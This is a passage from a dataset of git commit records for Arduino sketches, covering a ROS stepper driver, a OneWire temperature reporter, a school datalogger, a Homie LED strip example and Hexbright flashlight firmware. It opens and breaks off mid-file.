FULL_STEPS\/100.0;\n\/\/int desiredStep = 0;\nint DELAY = 10;\n\n\/\/double currentPercent = 100;\nint currentSteps = FULL_STEPS;\n\n\/\/variable which disables all motor movement when set to TRUE.\nboolean e_stop = false;\n\n\/\/ This node handle represents this arduino\nros::NodeHandle bucketWheelDriverNode;\n\nvoid newManualCommandCallback(const std_msgs::Int16& newManualCommand)\n{ \n int steps = newManualCommand.data;\n actuate(steps);\n}\nros::Subscriber<std_msgs\/Int16> commandSubscriber(\"BucketWheelCommand\", &newManualCommandCallback);\n\n\nvoid setup() {\n bucketWheelDriverNode.initNode();\n bucketWheelDriverNode.subscribe(commandSubscriber);\n \n \n pinMode(DIRECTION_PIN, OUTPUT);\n pinMode(PULSE_PIN, OUTPUT);\n pinMode(ENABLE, OUTPUT);\n \/\/ digitalWrite(ENABLE, HIGH); \/\/the motor should not make loud screeching\n Serial.begin(9600);\n Serial.println(\"Send position to go to (percent):\");\n printPosition();\n}\/\/setup\n\nvoid loop() {\n\n if (Serial.available())\n {\n int readValue = Serial.parseInt();\n moveToPercent(readValue);\n\n }\n e_stop = false;\n \n \/\/Sync with ROS\n bucketWheelDriverNode.spinOnce(); \/\/ Check for subscriber update\/update timestamp\n\n}\/\/loop\n\n\/\/moves the wheel the down the number of steps specified\n\/\/negative steps will be interpred as moving the wheel up. \nvoid actuate(int steps) {\n \/\/enable the controller\n digitalWrite(ENABLE, LOW);\n \n int dir = 0;\n \/\/select which direction to go\n if (steps > 0) {\n digitalWrite(DIRECTION_PIN, LOW);\n dir = 1;\n }\n else {\n digitalWrite(DIRECTION_PIN, HIGH);\n dir = -1;\n }\n \n for(int i = 0; i < abs(steps); i++) {\n \/\/leave if we say so\n interrupt();\n if (e_stop) break;\n \n \/\/send pulse to controller\n delayMicroseconds(DELAY);\n digitalWrite(PULSE_PIN, HIGH);\n delayMicroseconds(DELAY);\n digitalWrite(PULSE_PIN, LOW);\n\n \/\/update and print position as we move\n currentSteps += dir;\n if (i%500 == 0) printPosition();\n \n \/\/wait for 100 ms\n delayMicroseconds(1000000);\n }\n \/\/report final position\n printPosition();\n\n digitalWrite(ENABLE, HIGH);\n}\n\n\/\/used to read any commands that have been recieved\nvoid interrupt() {\n if (Serial.available()) {\n char command = Serial.read();\n switch (command) {\n case 's':\n e_stop = true;\n break;\n case 'S':\n e_stop = true;\n break;\n }\n }\n}\n\n\/\/short subroutine to print the current actuation position of the bucketwheel\nvoid printPosition() {\n Serial.print(\"Current Position:\\t\");\n Serial.print(toPercent(currentSteps), DEC);\n Serial.println(\"%\");\n}\n\n\n\/\/moves to the given percent from the current position\nint moveToPercent(int percent){\n \/\/error check\n if (percent > 100 || percent < 0) return ERROR_OUT_OF_RANGE;\n \n \/\/calculate number of steps and move.\n int stepsToMove = int(-(toPercent(currentSteps) - percent)\/100.0 * FULL_STEPS);\n Serial.print(\"Moving to \");\n Serial.print(percent, DEC);\n Serial.print(\"% from \");\n Serial.print(toPercent(currentSteps), DEC);\n Serial.println(\"%\");\n actuate(stepsToMove);\n}\n\n\/\/takes a position in steps and converts it to a percentage\ndouble toPercent(int steps) {\n return steps*100.0\/FULL_STEPS;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/BucketWheelDriver\/BucketWheelDriver.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"a455895dc80b7647391057d421eff32ebc419dae","subject":"original commit","message":"original commit\n","repos":"RussNelson\/OneWireTSRP","old_file":"OneWireTSRP.ino","new_file":"OneWireTSRP.ino","new_contents":"#include <Dhcp.h>\n#include <Dns.h>\n#include <Ethernet.h>\n#include <EthernetClient.h>\n#include <EthernetServer.h>\n#include <EthernetUdp.h>\n#include <util.h>\n\n#include <SPI.h>\n#include <OneWire.h>\n\n\/\/ OneWire DS18S20, DS18B20, DS1822 Temperature Example\n\/\/\n\/\/ http:\/\/www.pjrc.com\/teensy\/td_libs_OneWire.html\n\/\/\n\/\/ The DallasTemperature library can do all this work for you!\n\/\/ http:\/\/milesburton.com\/Dallas_Temperature_Control_Library\n\nOneWire ds(23); \/\/ on pin 10 (a 4.7K resistor is necessary)\n\nint requestID = 1;\n\nbyte mac[] = { 0xDE, 0xAD, 0xBE, 0x5c, 0x7d, 0x0c };\n\nchar packetBuffer[512];\n\nPROGMEM prog_char *loopPacket1 = \"{\\\"path\\\":\\\"\/api\/v1\/thing\/reporting\\\",\\\"requestID\\\":\\\"\";\nPROGMEM prog_char *loopPacket2 = \"\\\",\\\"things\\\": {\\\"\/device\/climate\/1wire\/temperature\\\": {\\\"prototype\\\": {\\\"device\\\": {\\\"name\\\": \\\"DS1820\\\",\\\"maker\\\": \\\"Dallas Semiconductor\\\"},\\\"name\\\": \\\"true\\\",\\\"status\\\": [\\\"present\\\",\\\"absent\\\",\\\"recent\\\"],\\\"properties\\\": {\\\"temperature\\\": \\\"celsius\\\"}},\\\"instances\\\": [{\\\"name\\\": \\\"\";\nPROGMEM prog_char *loopPacket3 = \"\\\",\\\"status\\\": \\\"present\\\",\\\"unit\\\": {\\\"serial\\\": \\\"\";\nPROGMEM prog_char *loopPacket4 = \"\\\",\\\"udn\\\": \\\"1wire:\";\nPROGMEM prog_char *loopPacket5 = \"\\\"},\\\"info\\\": {\\\"temperature\\\":\";\nPROGMEM prog_char *loopPacket6 = \"}}]}}}\";\n\nEthernetUDP udp;\nIPAddress ip(224,192,32,20);\nunsigned int port = 22601; \n\nvoid setup() {\n Serial.begin(9600);\n Serial.println(\"Starting...\");\n while(!Serial) { }\n\n Serial.println(\"Waiting for DHCP address.\");\n if (Ethernet.begin(mac) == 0) {\n Serial.println(\"Error: Failed to configure Ethernet using DHCP\");\n while(1) { }\n } \n\n udp.beginMulti(ip,port);\n\n}\n\n byte data[12];\n byte addr[8];\n\nvoid loop() {\n requestID = requestID + 1;\n\n char buffer[12];\n byte i;\n byte present = 0;\n byte type_s;\n float celsius, fahrenheit;\n \n if ( !ds.search(addr)) {\n Serial.println(\"No more addresses.\");\n Serial.println();\n ds.reset_search();\n delay(250);\n return;\n }\n \n Serial.print(\"ROM =\");\n for( i = 0; i < 8; i++) {\n Serial.write(' ');\n Serial.print(addr[i], HEX);\n }\n\n if (OneWire::crc8(addr, 7) != addr[7]) {\n Serial.println(\"CRC is not valid!\");\n return;\n }\n Serial.println();\n \n \/\/ the first ROM byte indicates which chip\n switch (addr[0]) {\n case 0x10:\n Serial.println(\" Chip = DS18S20\"); \/\/ or old DS1820\n type_s = 1;\n break;\n case 0x28:\n Serial.println(\" Chip = DS18B20\");\n type_s = 0;\n break;\n case 0x22:\n Serial.println(\" Chip = DS1822\");\n type_s = 0;\n break;\n default:\n Serial.println(\"Device is not a DS18x20 family device.\");\n return;\n } \n\n ds.reset();\n ds.select(addr);\n ds.write(0x44, 1); \/\/ start conversion, with parasite power on at the end\n \n delay(1000); \/\/ maybe 750ms is enough, maybe not\n \/\/ we might do a ds.depower() here, but the reset will take care of it.\n \n present = ds.reset();\n ds.select(addr); \n ds.write(0xBE); \/\/ Read Scratchpad\n\n Serial.print(\" Data = \");\n Serial.print(present, HEX);\n Serial.print(\" \");\n for ( i = 0; i < 9; i++) { \/\/ we need 9 bytes\n data[i] = ds.read();\n Serial.print(data[i], HEX);\n Serial.print(\" \");\n }\n Serial.print(\" CRC=\");\n Serial.print(OneWire::crc8(data, 8), HEX);\n Serial.println();\n\n \/\/ Convert the data to actual temperature\n \/\/ because the result is a 16 bit signed integer, it should\n \/\/ be stored to an \"int16_t\" type, which is always 16 bits\n \/\/ even when compiled on a 32 bit processor.\n int16_t raw = (data[1] << 8) | data[0];\n if (type_s) {\n raw = raw << 3; \/\/ 9 bit resolution default\n if (data[7] == 0x10) {\n \/\/ \"count remain\" gives full 12 bit resolution\n raw = (raw & 0xFFF0) + 12 - data[6];\n }\n } else {\n byte cfg = (data[4] & 0x60);\n \/\/ at lower res, the low bits are undefined, so let's zero them\n if (cfg == 0x00) raw = raw & ~7; \/\/ 9 bit resolution, 93.75 ms\n else if (cfg == 0x20) raw = raw & ~3; \/\/ 10 bit res, 187.5 ms\n else if (cfg == 0x40) raw = raw & ~1; \/\/ 11 bit res, 375 ms\n \/\/\/\/ default is 12 bit resolution, 750 ms conversion time\n }\n celsius = (float)raw \/ 16.0;\n fahrenheit = celsius * 1.8 + 32.0;\n Serial.print(\" Temperature = \");\n Serial.print(celsius);\n Serial.print(\" Celsius, \");\n Serial.print(fahrenheit);\n Serial.println(\" Fahrenheit\");\n\n strcpy(packetBuffer,(char*)pgm_read_word(&loopPacket1) );\n strcat(packetBuffer, itoa( requestID, buffer, 10) );\n strcat(packetBuffer,(char*)pgm_read_word(&loopPacket2) );\n if (addr[7] == 0x10) strcat(packetBuffer, \"ds1820\");\n else if (addr[7] == 0x28) strcat(packetBuffer, \"ds18b20\");\n else if (addr[7] == 0x22) strcat(packetBuffer, \"ds1822\");\n else strcat(packetBuffer, \"ds????\");\n strcat(packetBuffer,(char*)pgm_read_word(&loopPacket3) );\n for (byte thisByte = 0; thisByte < 7; thisByte++) {\n sprintf(buffer, \"%02x\", addr[thisByte] );\n strcat(packetBuffer, buffer);\n }\n strcat(packetBuffer,(char*)pgm_read_word(&loopPacket4) );\n for (byte thisByte = 0; thisByte < 7; thisByte++) {\n sprintf(buffer, \"%02x\", addr[thisByte] );\n strcat(packetBuffer, buffer); \n }\n strcat(packetBuffer,(char*)pgm_read_word(&loopPacket5) );\n sprintf(packetBuffer + strlen(packetBuffer), \"%4.2f\", celsius);\n strcat(packetBuffer,(char*)pgm_read_word(&loopPacket6) );\n\n\n Serial.println(packetBuffer); \n udp.beginPacket(udp.remoteIP(), udp.remotePort());\n udp.write(packetBuffer);\n udp.endPacket();\n\n delay(2000);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'OneWireTSRP.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"fc1cdcfac70617bd12f29cc5c9cf460fd3538dd3","subject":"Added methods","message":"Added methods\n\nAdded methods for writing to LCD screen, reading from ADS1115\n","repos":"lukepadlp\/Arduino-Datalogger-for-Vernier-Conductivity-Meter","old_file":"DataLogger\/DataLogger.ino","new_file":"DataLogger\/DataLogger.ino","new_contents":"\/* DATALOGGER FOR SENIOR CAPSTONE AND SCIENCE FAIR\n * By Luke Padgett, Plano Academy High School, 2016-17.\n * \n * This datalogger reads voltages automatically from a Vernier \n * conductivity probe, transforms those analog voltage readings\n * into digital signals via an ADS1115 ADC, sends those voltages to an \n * Arduino Uno, which transforms those voltage values into ppm (parts \n * per million) values, and finally sends those values to a datalogging\n * module to be recorded in .csv files, depending on the test cycle ID.\n * This datalogger also controls a peristaltic pump, though that\n * functionality may be removed if one desires after downloading these files.\n * \n * All code in these files is written by Luke Padgett unless specified otherwise\n * in the header(s) of a file, such as the Adafruit_ADS1015.h file.\n *\/\n\n \/*\n * Pin specifications:\n * SS for LCD: 2\n * SS for SD Card Reader\/Writer (\"R\/W\"): 10\n * MOSI Pin: 11\n * MISO Pin: 12\n * Clock Pin: 13\n * SDA and SCL are used for the ADS1115.\n * Peristaltic Pump (PP) Pin: 5. Note: PWN is required for speed adjustment.\n *\/\n\n\/\/The Wire library allows communication with I2C \/ TWI devices.\n#include <Wire.h> \/\/V1.0\n\n\/\/The ADS1015 library facilitates reading from the ADS1115.\n#include <Adafruit_ADS1015.h> \/\/V1.1\n\n\/\/The LiquidCrystal library, by Juan Hernandez (juanh0238) facilitates usage of the \n\/\/LCD screen using a shift register via SPI.\n#include <LiquidCrystal.h>\n\n\/\/The SPI library enables SPI interface bus.\n#include <SPI.h>\n\n\/\/Set pins for MISO\/MOSI\/SS\/PP\nconst int lcdSS = 2; \/\/SS for LCD\nLiquidCrystal lcd(2);\nconst int sdSS = 10; \/\/SS for SD card R\/W\nconst int MOSIpin = 11; \/\/MOSI pin\nconst int MISOpin = 12; \/\/MISO pin\nconst int clk = 13; \/\/Clock pin\nconst int PP = 5; \/\/Peristaltic pump pin\n\nAdafruit_ADS1115 ads1115;\nAdafruit_ADS1115 ads(0x48); \/\/Sets base address\n\nint16_t cVoltage; \/\/16 bit variable reading from ADC's A0\nString result; \/\/String containing data from ADC\n\nvoid setup() {\n \/\/Set pin modes\n pinMode(lcdSS, OUTPUT);\n pinMode(sdSS, OUTPUT);\n pinMode(MOSIpin, OUTPUT);\n pinMode(MISOpin, OUTPUT);\n pinMode(clk, OUTPUT);\n pinMode(PP, OUTPUT);\n\n \/\/Initialize communication processes\n Serial.begin(9600); \/\/Sets baud rate\n lcd.begin(16,2); \/\/Initializes LCD with # of rows and columns\n ads1115.begin(); \/\/Initializes ADC\n lcd.print(\"\"); \/\/Print nothing to LCD to calibrate\n}\n\nvoid loop() {\n writeResult();\n}\n\nvoid LCDwrite(String s, String s2){\n lcd.setCursor(0, 0);\n lcd.print(s);\n lcd.setCursor(0,1);\n lcd.print(s2 + \" mV\");\n}\n\nvoid readADS() {\n cVoltage = ads1115.readADC_Differential_0_1();\n result = cVoltage;\n}\n\nvoid writeResult(){\n readADS();\n delay(500);\n LCDwrite(\"Hello\", result);\n}\n\n\n\n","old_contents":"\/* DATALOGGER FOR SENIOR CAPSTONE AND SCIENCE FAIR\n * By Luke Padgett, Plano Academy High School, 2016-17.\n * \n * This datalogger reads voltages automatically from a Vernier \n * conductivity probe, transforms those analog voltage readings\n * into digital signals via an ADS1115 ADC, sends those voltages to an \n * Arduino Uno, which transforms those voltage values into ppm (parts \n * per million) values, and finally sends those values to a datalogging\n * module to be recorded in .csv files, depending on the test cycle ID.\n * This datalogger also controls a peristaltic pump, though that\n * functionality may be removed if one desires after downloading these files.\n * \n * All code in these files is written by Luke Padgett unless specified otherwise\n * in the header(s) of a file, such as the Adafruit_ADS1015.h file.\n *\/\n\n \/*\n * Pin specifications:\n * SS for LCD: 2\n * SS for SD Card Reader\/Writer (\"R\/W\"): 10\n * MOSI Pin: 11\n * MISO Pin: 12\n * Clock Pin: 13\n * SDA and SCL are used for the ADS1115.\n * Peristaltic Pump (PP) Pin: 5. Note: PWN is required for speed adjustment.\n *\/\n\n\/\/The Wire library allows communication with I2C \/ TWI devices.\n#include <Wire.h>\n\n\/\/The ADS1015 library facilitates reading from the ADS1115.\n#include <Adafruit_ADS1015.h>\n\n\/\/The LiquidCrystal library (by Juan Hernandez, aka juanh0238) facilitates usage of the \n\/\/LCD screen using a shift register via SPI.\n#include <LiquidCrystal.h>\n\n\/\/The SPI library enables SPI interface bus.\n#include <SPI.h>\n\n\/\/Set pins for MISO\/MOSI\/SS\/PP\nconst int lcdSS = 2; \/\/SS for LCD\nconst int sdSS = 10; \/\/SS for SD card R\/W\nconst int MOSIpin = 11; \/\/MOSI pin\nconst int MISOpin = 12; \/\/MISO pin\nconst int clk = 13; \/\/Clock pin\nconst int PP = 5; \/\/Peristaltic pump pin\n\n\nfloat cVoltage = 0.0; \/\/Conductivity meter voltage\n\nLiquidCrystal lcd(2);\n\nvoid setup() {\n \/\/Set pin modes\n pinMode(lcdSS, OUTPUT);\n pinMode(sdSS, OUTPUT);\n pinMode(MOSIpin, OUTPUT);\n pinMode(MISOpin, OUTPUT);\n pinMode(clk, OUTPUT);\n pinMode(PP, OUTPUT);\n\n \/\/Initialize communication processes\n Serial.begin(9600); \/\/Sets baud rate\n lcd.begin(16,2); \/\/Initializes LCD with # of rows and columns\n\/\/ ads.begin(); \/\/Initializes ADC\n lcd.print(\"Hello, world!\");\n}\n\nvoid loop() {\n \/\/ set the cursor to column 0, line 1\n \/\/ (note: line 1 is the second row, since counting begins with 0):\n lcd.setCursor(0, 1);\n lcd.print(\"Test\");\n}\n","returncode":0,"stderr":"","license":"mit","lang":"Arduino"} {"commit":"2c800777ca72bbad8952b110aed0e7efc5000494","subject":"Add LedStrip sample","message":"Add LedStrip sample\n","repos":"marvinroger\/homie-esp8266,marvinroger\/homie-esp8266,marvinroger\/homie-esp8266,euphi\/homie-esp8266,marvinroger\/homie-esp8266,euphi\/homie-esp8266,euphi\/homie-esp8266,euphi\/homie-esp8266","old_file":"examples\/LedStrip\/LedStrip.ino","new_file":"examples\/LedStrip\/LedStrip.ino","new_contents":"#include <Homie.h>\n\nconst unsigned char NUMBER_OF_LED = 4;\nconst unsigned char LED_PINS[NUMBER_OF_LED] = { 16, 5, 4, 0 };\n\nbool stripHandler(String, String); \/\/ forward declaration (needed for Arduino <= 1.6.8)\nHomieNode stripNode(\"ledstrip\", \"ledstrip\", stripHandler, true); \/\/ last true: subscribe to all properties\n\nbool stripHandler(String property, String value) {\n for (int i = 0; i < property.length(); i++) {\n if (!isDigit(property.charAt(i))) {\n return false;\n }\n }\n\n int ledIndex = property.toInt();\n if (ledIndex < 0 || ledIndex > NUMBER_OF_LED - 1) {\n return false;\n }\n\n if (value == \"true\") {\n digitalWrite(LED_PINS[ledIndex], HIGH);\n Homie.setNodeProperty(stripNode, String(ledIndex), \"true\"); \/\/ Update the state of the led\n Serial.print(\"Led \");\n Serial.print(ledIndex);\n Serial.println(\" is on\");\n } else if (value == \"false\") {\n digitalWrite(LED_PINS[ledIndex], LOW);\n Homie.setNodeProperty(stripNode, String(ledIndex), \"false\");\n Serial.print(\"Led \");\n Serial.print(ledIndex);\n Serial.println(\" is off\");\n } else {\n return false;\n }\n\n return true;\n}\n\nvoid setup() {\n for (int i = 0; i < NUMBER_OF_LED; i++) {\n pinMode(LED_PINS[i], INPUT);\n digitalWrite(LED_PINS[i], LOW);\n }\n\n Homie.setFirmware(\"awesome-ledstrip\", \"1.0.0\");\n Homie.registerNode(stripNode);\n Homie.setup();\n}\n\nvoid loop() {\n Homie.loop();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/LedStrip\/LedStrip.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"72bfbb61144efe1309d4e6e3a77b05e296a1c6ad","subject":"Changed the name. Slidebright.ino to SlideBright.ino, because of Arduino IDE","message":"Changed the name. Slidebright.ino to SlideBright.ino, because of Arduino IDE\n","repos":"C0reTex\/SlideBright","old_file":"SlideBright.ino","new_file":"SlideBright.ino","new_contents":"\/* \n** SlideBright - Firmware for the overengineered Hexbright flashlight.\n** Hexbright: http:\/\/hexbright.com\/\n** ~ Tobias J\u00e4ger <Tobias.Jaeger@slidetex.de>\n**\n**\n** Based on darcbright by Robert Quattlebaum <darco@deepdarc.com>\n**\n** List of Modes:\n** * 3-brightnesse-level mode (43,175,500)\n** * momentary mode\n** * strobe mode\n** * ajust-brightness-by-roll mode\n*\/\n\n\/*\nAccelorometer axies:\n\n(x,y,z)\n\nIf the flashlight is facing straight up:\n (0, 21, 0)\n\nIf the flashlight is facing straight down:\n (0, -21, 0)\n\nIf the flashlight is battery-up:\n (0, 0, -21)\n\nIf the flashlight is battery-down:\n (0, 0, 21)\n\nIf the flashlight is logo-up:\n (-21, 0, 0)\n\nIf the flashlight is logo-down:\n (21, 0, 0)\n\n*\/\n\n#include <math.h>\n#include <Wire.h>\n#include <EEPROM.h>\n#include \"pt.h\"\n#include <avr\/wdt.h>\n\n\/\/ Settings\n#define VOLTAGE_NOMINAL 3330\n#define VOLTAGE_LOW 3100\n#define OVERTEMP_SHUTDOWN_C 60\n#define OVERTEMP_THROTTLE_C 50\n#define OVERTEMP_SHUTDOWN (OVERTEMP_SHUTDOWN_C*10+500)\n#define OVERTEMP_THROTTLE (OVERTEMP_THROTTLE_C*10+500)\n#define BUTTON_BRIGHTNESS_THRESHOLD 1000 \/\/ time in ms, after which a button press turns off\n#define BUTTON_DEBOUNCE 20\n#define POWER_ON_BUTTON_THRESHOLD 150 \/\/ Period of time button initially needs to be held to keep the light on.\n\n#define BRT_MIN_LUMEN 4\n#define BRT_MED_LUMEN 255 \/\/ 175 lumens\n#define BRT_LOW_LUMEN (BRT_MED_LUMEN\/4) \/\/ 43 lumens\n#define BRT_MAX_LUMEN (BRT_MED_LUMEN+(3*255)) \/\/ 500 lumens\n\n\n\n\/\/ Constants\n#define ACC_ADDRESS 0x4C\n#define ACC_REG_XOUT 0\n#define ACC_REG_YOUT 1\n#define ACC_REG_ZOUT 2\n#define ACC_REG_TILT 3\n#define ACC_REG_INTS 6\n#define ACC_REG_MODE 7\n\n\/\/ Pin assignments\n#define DPIN_RLED_SW 2\n#define DPIN_GLED 5\n#define DPIN_PWR 8\n#define DPIN_DRV_MODE 9\n#define DPIN_DRV_EN 10\n#define DPIN_ACC_INT 3\n#define APIN_TEMP 0\n#define APIN_CHARGE 3\n\n\/\/ Interrupts\n#define INT_SW 0\n#define INT_ACC 1\n\n\/\/ State\nbyte light_mode;\nunsigned short overtemp_max;\nunsigned short amount_current;\nunsigned short amount_begin;\nunsigned short amount_end;\nunsigned short amount_fade_duration;\nunsigned long amount_fade_start;\nbyte amount_flash,amount_off;\n\n\/\/ Protothread States\nstruct pt fade_control_pt;\nstruct pt power_pt;\nstruct pt button_led_pt;\n\n\/\/ Mode Protothread States\nstruct pt light_pt;\nstruct pt light_momentary_pt;\nstruct pt light_blinky_pt;\nstruct pt light_knob_pt;\n\n\/\/ Variables updated every loop\nbool button_is_pressed;\nunsigned long button_pressed_time;\nunsigned long button_released_time;\nunsigned long button_pressed_duration;\nunsigned long button_released_duration;\nshort vcc_current;\nshort vcc_filter_table[3];\nshort vcc_filtered;\nshort temp_filter_table[3];\nshort temp_filtered;\nshort temp_current;\nenum {\n BATT_DISCHARGING,\n BATT_CHARGING,\n BATT_CHARGED,\n} batt_state;\nunsigned long time_current;\nfloat angle_pitch;\nfloat angle_roll;\n\n#define PT_WAIT_FOR_PERIOD(pt,x) \\\n lastTime = time_current; \\\n PT_WAIT_UNTIL(pt, (time_current-lastTime) > (x));\n\nbool orientation_enabled;\n\nvoid\nenable_orientation(void) {\n pinMode(DPIN_ACC_INT, INPUT);\n digitalWrite(DPIN_ACC_INT, HIGH);\n\n \/\/ Configure accelerometer\n static const byte config[] = {\n ACC_REG_INTS, \/\/ First register (see next line)\n 0xE4, \/\/ Interrupts: shakes, taps\n 0x00, \/\/ Mode: not enabled yet\n 0x00, \/\/ Sample rate: 120 Hz\n 0x0F, \/\/ Tap threshold\n 0x10 \/\/ Tap debounce samples\n };\n Wire.beginTransmission(ACC_ADDRESS);\n Wire.write(config, sizeof(config));\n Wire.endTransmission();\n\n \/\/ Enable accelerometer\n static const byte enable[] = {ACC_REG_MODE, 0x01}; \/\/ Mode: active!\n Wire.beginTransmission(ACC_ADDRESS);\n Wire.write(enable, sizeof(enable));\n Wire.endTransmission();\n\n orientation_enabled = 1;\n}\n\nvoid\nupdate_loop_variables(void) {\n static char i;\n\n \/\/ Time stamp for this loop cycle.\n time_current = millis();\n\n \/\/ Grab the voltage and the temperature.\n vcc_filter_table[i] = vcc_current = readVcc();\n temp_filter_table[i] = analogRead(APIN_TEMP);\n\n temp_current = temp_filter_table[i]*(long)vcc_current\/1024;\n\n vcc_filtered = median_short(vcc_filter_table[0],vcc_filter_table[1],vcc_filter_table[2]);\n\n temp_filtered *= 7;\n temp_filtered += median_short(temp_filter_table[0],temp_filter_table[1],temp_filter_table[2])*(long)vcc_filtered\/1024;\n temp_filtered \/= 8;\n\n if(++i==3)\n i=0;\n\n \/\/ Read out the state of but button.\n {\n bool prev_value = digitalRead(DPIN_RLED_SW);\n pinMode(DPIN_RLED_SW, INPUT);\n digitalWrite(DPIN_RLED_SW, 0);\n button_is_pressed = digitalRead(DPIN_RLED_SW);\n pinMode(DPIN_RLED_SW, OUTPUT);\n digitalWrite(DPIN_RLED_SW, prev_value);\n }\n\n if(button_is_pressed) {\n button_released_time = time_current;\n button_pressed_duration = time_current - button_pressed_time;\n } else {\n button_pressed_time = time_current;\n button_released_duration = time_current - button_released_time;\n button_pressed_duration = 0;\n }\n\n short chargeState = analogRead(APIN_CHARGE);\n\n if (chargeState < 128) { \/\/ Low - charging\n batt_state = BATT_CHARGING;\n } else if (chargeState > 768) { \/\/ High - fully charged.\n batt_state = BATT_CHARGED;\n } else { \/\/ Hi-Z - Not charging, not pulged in.\n \/\/ But if the voltage is over 3.4 volts, then we know we are plugged in.\n if(vcc_current>3400)\n batt_state = BATT_CHARGING;\n else\n batt_state = BATT_DISCHARGING;\n }\n\n if(orientation_enabled) {\n char acc[3];\n readAccelFiltered(acc);\n angle_roll = atan2(acc[0],acc[2]);\n angle_pitch = atan2(acc[1],sqrt(acc[0]*acc[0]+acc[2]*acc[2]));\n }\n \n \/\/ Check if the accelerometer wants to interrupt\n\/\/ byte tapped = 0, shaked = 0;\n\/\/ if (!digitalRead(DPIN_ACC_INT)) {\n\/\/ Wire.beginTransmission(ACC_ADDRESS);\n\/\/ Wire.write(ACC_REG_TILT);\n\/\/ Wire.endTransmission(false); \/\/ End, but do not stop!\n\/\/ Wire.requestFrom(ACC_ADDRESS, 1); \/\/ This one stops.\n\/\/ byte tilt = Wire.read();\n\/\/\n\/\/ if (time-lastAccTime > 500) {\n\/\/ lastAccTime = time;\n\/\/\n\/\/ tapped = !!(tilt & 0x20);\n\/\/ shaked = !!(tilt & 0x80);\n\/\/\n\/\/ if (tapped) Serial.println(\"Tap!\");\n\/\/ if (shaked) Serial.println(\"Shake!\");\n\/\/ }\n\/\/ }\n}\n\n\nshort\nreadVcc(void) {\n short result;\n \/\/ Read 1.1V reference against AVcc\n ADMUX = _BV(REFS0) | _BV(MUX3) | _BV(MUX2) | _BV(MUX1);\n delay(2); \/\/ Wait for Vref to settle\n noInterrupts();\n ADCSRA |= _BV(ADSC); \/\/ Convert\n while (bit_is_set(ADCSRA,ADSC));\n interrupts();\n result = ADCL;\n result |= ADCH<<8;\n result = 1126400L \/ result; \/\/ Back-calculate AVcc in mV\n return result;\n}\n\nvoid readAccel(char *acc)\n{\n while (1)\n {\n Wire.beginTransmission(ACC_ADDRESS);\n Wire.write(ACC_REG_XOUT);\n Wire.endTransmission(false); \/\/ End, but do not stop!\n Wire.requestFrom(ACC_ADDRESS, 3); \/\/ This one stops.\n\n for (int i = 0; i < 3; i++)\n {\n if (!Wire.available())\n continue;\n acc[i] = Wire.read();\n if (acc[i] & 0x40) \/\/ Indicates failed read; redo!\n continue;\n if (acc[i] & 0x20) \/\/ Sign-extend\n acc[i] |= 0xC0;\n }\n break;\n }\n}\n\nvoid readAccelFiltered(char *acc_filtered) {\n static char acc[3][3];\n static char i;\n readAccel(acc[i++]);\n if(i==3)\n i=0;\n acc_filtered[0] = median_char(acc[0][0],acc[1][0],acc[2][0]);\n acc_filtered[1] = median_char(acc[0][1],acc[1][1],acc[2][1]);\n acc_filtered[2] = median_char(acc[0][2],acc[1][2],acc[2][2]);\n}\n\n\n\/* Returns the median value of the given three parameters *\/\nchar median_char(char a, char b, char c) {\n if(a<c) {\n if(b<a) {\n return a;\n } else if(c<b) {\n return c;\n }\n } else {\n if(a<b) {\n return a;\n } else if(b<c) {\n return c;\n }\n }\n return b;\n}\nshort median_short(short a, short b, short c) {\n if(a<c) {\n if(b<a) {\n return a;\n } else if(c<b) {\n return c;\n }\n } else {\n if(a<b) {\n return a;\n } else if(b<c) {\n return c;\n }\n }\n return b;\n}\n\n\nvoid\nretrieve_settings(void) {\n byte data[4];\n data[0] = EEPROM.read(0);\n data[1] = EEPROM.read(1);\n data[2] = EEPROM.read(2);\n data[3] = EEPROM.read(3);\n if(data[0] == (byte)~(data[1]^data[2]^data[3] + sizeof(data))) {\n light_mode = data[1];\n if(light_mode) {\n set_amount(data[2]+((unsigned short)data[3]<<8));\n }\n Serial.println(\"Settings retrieved\");\n }\n}\n\nvoid\nsave_settings(void) {\n byte data[4];\n data[1] = light_mode;\n data[2] = (byte)amount_current;\n data[3] = (amount_current>>8);\n data[0] = ~(data[1]^data[2]^data[3] + sizeof(data));\n EEPROM.write(0,data[0]);\n EEPROM.write(1,data[1]);\n EEPROM.write(2,data[2]);\n EEPROM.write(3,data[3]);\n}\n\nvoid set_brightness(unsigned short b) {\n noInterrupts();\n if(b<=255) {\n digitalWrite(DPIN_DRV_MODE, LOW);\n analogWrite(DPIN_DRV_EN, b);\n } else if(b<=BRT_MAX_LUMEN) {\n analogWrite(DPIN_DRV_MODE, ((long)b-BRT_MED_LUMEN)*255\/((long)BRT_MAX_LUMEN-BRT_MED_LUMEN));\n digitalWrite(DPIN_DRV_EN, HIGH);\n } else {\n digitalWrite(DPIN_DRV_EN, HIGH);\n digitalWrite(DPIN_DRV_MODE, HIGH);\n }\n interrupts();\n}\n\nvoid\nset_amount(unsigned short amount) {\n amount_current = amount_begin = amount_end = amount;\n amount_fade_duration = 0;\n amount_off = 0;\n\n set_brightness(amount_current);\n pinMode(DPIN_PWR, OUTPUT);\n if(time_current<POWER_ON_BUTTON_THRESHOLD || amount_current==0)\n digitalWrite(DPIN_PWR, LOW);\n else\n digitalWrite(DPIN_PWR, HIGH);\n}\n\nvoid\nfade_to_amount(unsigned short amount, unsigned short fade_duration) {\n amount_begin = amount_current;\n amount_end = amount;\n amount_fade_duration = fade_duration;\n amount_fade_start = millis();\n amount_off = 0;\n}\n\nPT_THREAD(fade_control_pt_func(struct pt *pt))\n{\n static long fade_time;\n\n PT_BEGIN(pt);\n\n do {\n PT_YIELD(pt);\n\n if(amount_flash) {\n analogWrite(DPIN_DRV_EN, 0);\n fade_time = time_current;\n PT_WAIT_UNTIL(pt, (time_current-fade_time) > (100));\n }\n\n amount_flash = 0;\n\n fade_time = time_current - amount_fade_start;\n\n if(fade_time >= amount_fade_duration) {\n if(amount_current != amount_end) {\n amount_current = amount_end;\n }\n } else {\n amount_current = (((long)amount_end - (long)amount_begin)*fade_time)\/amount_fade_duration + amount_begin;\n }\n\n pinMode(DPIN_PWR, OUTPUT);\n 